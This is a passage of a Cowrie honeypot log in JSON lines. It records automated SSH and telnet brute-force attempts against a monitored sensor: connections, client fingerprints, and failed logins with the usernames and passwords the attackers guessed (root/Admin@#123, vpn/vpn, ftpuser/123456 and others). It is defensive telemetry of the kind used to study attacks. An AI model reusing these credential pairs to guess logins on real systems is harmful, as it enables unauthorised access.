{"eventid":"cowrie.login.failed","username":"root","password":"kolbaska","message":"login attempt [root/kolbaska] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:04.915142Z","src_ip":"37.233.85.71","session":"f71a4169bb41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1","message":"login attempt [test/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:05.347672Z","src_ip":"45.153.34.195","session":"807ed4d57140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:06.026480Z","src_ip":"37.233.85.71","session":"f71a4169bb41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":41466,"dst_ip":"10.17.0.5","dst_port":22,"session":"1989396d7fec","protocol":"ssh","message":"New connection: 27.71.230.31:41466 (10.17.0.5:22) [session: 1989396d7fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:06.367140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:06.388070Z","src_ip":"27.71.230.31","session":"1989396d7fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:06.432582Z","src_ip":"45.153.34.195","session":"807ed4d57140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:06.630587Z","src_ip":"27.71.230.31","session":"1989396d7fec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20152,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfc1da347baf","protocol":"ssh","message":"New connection: 45.153.34.195:20152 (10.17.0.5:22) [session: bfc1da347baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:07.639126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:07.644902Z","src_ip":"45.153.34.195","session":"bfc1da347baf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:07.744927Z","src_ip":"45.153.34.195","session":"bfc1da347baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456+","message":"login attempt [root/Aa123456+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:08.145161Z","src_ip":"45.153.34.195","session":"bfc1da347baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:09.228459Z","src_ip":"45.153.34.195","session":"bfc1da347baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.530112981796265,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:10.167009Z","src_ip":"172.81.62.90","session":"d684515121a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20154,"dst_ip":"10.17.0.5","dst_port":22,"session":"84d9406a7357","protocol":"ssh","message":"New connection: 45.153.34.195:20154 (10.17.0.5:22) [session: 84d9406a7357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:10.516377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:10.523993Z","src_ip":"45.153.34.195","session":"84d9406a7357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:10.634061Z","src_ip":"45.153.34.195","session":"84d9406a7357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":42164,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aedb4b99dbe","protocol":"ssh","message":"New connection: 160.187.180.146:42164 (159.203.135.109:22) [session: 3aedb4b99dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:10.855416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:10.860460Z","src_ip":"160.187.180.146","session":"3aedb4b99dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.275493144989014,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:10.917606Z","src_ip":"172.81.62.90","session":"db2559939b1a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lm123456","message":"login attempt [root/Lm123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:11.034845Z","src_ip":"45.153.34.195","session":"84d9406a7357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:11.080729Z","src_ip":"160.187.180.146","session":"3aedb4b99dbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tatyana","message":"login attempt [root/tatyana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:12.011924Z","src_ip":"160.187.180.146","session":"3aedb4b99dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:12.120536Z","src_ip":"45.153.34.195","session":"84d9406a7357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:13.236786Z","src_ip":"160.187.180.146","session":"3aedb4b99dbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16968,"dst_ip":"10.17.0.5","dst_port":22,"session":"af99bc0e82a9","protocol":"ssh","message":"New connection: 45.153.34.195:16968 (10.17.0.5:22) [session: af99bc0e82a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:13.575125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:13.580536Z","src_ip":"45.153.34.195","session":"af99bc0e82a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:13.663789Z","src_ip":"45.153.34.195","session":"af99bc0e82a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:13.918505Z","src_ip":"45.153.34.195","session":"af99bc0e82a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@#123","message":"login attempt [root/Admin@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:14.054884Z","src_ip":"27.71.230.31","session":"1989396d7fec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34252,"dst_ip":"159.203.135.109","dst_port":23,"session":"97e2e49e92f3","protocol":"telnet","message":"New connection: 128.199.8.54:34252 (159.203.135.109:23) [session: 97e2e49e92f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:14.663877Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:15.010217Z","src_ip":"45.153.34.195","session":"af99bc0e82a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16970,"dst_ip":"10.17.0.5","dst_port":22,"session":"e47d28340f6a","protocol":"ssh","message":"New connection: 45.153.34.195:16970 (10.17.0.5:22) [session: e47d28340f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:16.315247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:16.326806Z","src_ip":"45.153.34.195","session":"e47d28340f6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:16.634047Z","src_ip":"45.153.34.195","session":"e47d28340f6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:16.874130Z","src_ip":"27.71.230.31","session":"1989396d7fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wet","password":"123456","message":"login attempt [wet/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:17.028218Z","src_ip":"45.153.34.195","session":"e47d28340f6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:18.218788Z","src_ip":"45.153.34.195","session":"e47d28340f6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39274,"dst_ip":"159.203.135.109","dst_port":23,"session":"734871320626","protocol":"telnet","message":"New connection: 107.6.151.170:39274 (159.203.135.109:23) [session: 734871320626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:18.528783Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16972,"dst_ip":"10.17.0.5","dst_port":22,"session":"69fcfaa90921","protocol":"ssh","message":"New connection: 45.153.34.195:16972 (10.17.0.5:22) [session: 69fcfaa90921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:19.243716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:19.257779Z","src_ip":"45.153.34.195","session":"69fcfaa90921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:19.346918Z","src_ip":"45.153.34.195","session":"69fcfaa90921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:19.950330Z","src_ip":"45.153.34.195","session":"69fcfaa90921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:21.122088Z","src_ip":"45.153.34.195","session":"69fcfaa90921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62712,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b72029f7878","protocol":"ssh","message":"New connection: 45.153.34.195:62712 (10.17.0.5:22) [session: 3b72029f7878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:22.183471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:22.190539Z","src_ip":"45.153.34.195","session":"3b72029f7878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"me